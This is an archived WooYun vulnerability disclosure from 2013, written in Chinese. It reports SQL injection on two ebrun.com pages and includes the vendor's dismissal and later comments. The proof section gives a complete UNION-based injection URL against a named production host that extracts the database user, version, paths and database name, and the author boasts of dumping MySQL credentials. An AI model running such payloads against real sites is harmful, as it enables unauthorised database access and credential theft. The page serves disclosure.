当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-019177

漏洞标题：亿邦动力网多处SQL注入点爆MYSQL管理账号、密码

相关厂商：亿邦动力网

漏洞作者： 浩天

提交时间：2013-02-25 17:12

修复时间：2013-03-02 17:13

公开时间：2013-03-02 17:13

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-02-25： 细节已通知厂商并且等待厂商处理中
2013-03-02： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

看到其他帽子提，我也来凑热闹

详细说明：

sql注入点两处：
1、http://t.ebrun.com/index.php/interview/show/bq-wy/id-8
2、http://huodong.ebrun.com/hp2010/marketing/newscontent.php?news_id=737
可能还有，慢慢来吧
直接脱裤，mysql账号密码好多好多

漏洞证明：

1、http://t.ebrun.com/index.php/interview/show/bq-wy/id-8%20and%201=2%20union%20select%201,2,user%28%29,4,5,6,7,8,version%28%29,10,11,@@basedir,@@datadir,14,15,16,17,18,database%28%29,20,21,22,23,24--

3证明.jpg


4证明.jpg


2、http://huodong.ebrun.com/hp2010/marketing/newscontent.php?news_id=737

1证明.jpg


2证明.jpg


修复方案：

哇！

版权声明：转载请注明来源 浩天@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-03-02 17:13

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2013-02-25 17:32 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    多处。。。处。。。

  2. 2013-03-03 12:49 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    忽略了我的漏洞，好吧

  3. 2013-03-03 14:34 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @浩天 表示我的也被忽略了。……我还有另外一个还没确认。@xsser 剑心牛怎么看？厂商莫非不改了？

  4. 2013-03-03 14:41 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @浩天 大牛。访问链接看看，好像直接被删除了。忽略了马上修改。哈

  5. 2013-03-04 09:43 | 亿邦动力网(乌云厂商)

    @wefgod @浩天 两位童鞋，因为这个都是以前不用的东西，所以直接删除了，非常感谢你们对我们网站的关注。也欢迎大家对我们网站的安全提出意见，我们会努力改进的。

  6. 2013-03-04 10:23 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @亿邦动力网 这个意思的？也不至于忽略吧？删除也是修复啊，老东西不用放那也是存在漏洞啊……也不至于忽略吧？

  7. 2013-03-04 11:14 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @xsser 厂商回复了。不解释，以前不用的东西，所以就直接删除，然后忽略了。

  8. 2013-03-04 11:26 | 亿邦动力网(乌云厂商)

    @wefgod 感谢提醒，下次我们知道该怎么处理了。刚入住还不了解流程。

  9. 2013-03-04 14:23 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    @亿邦动力网 %>_<%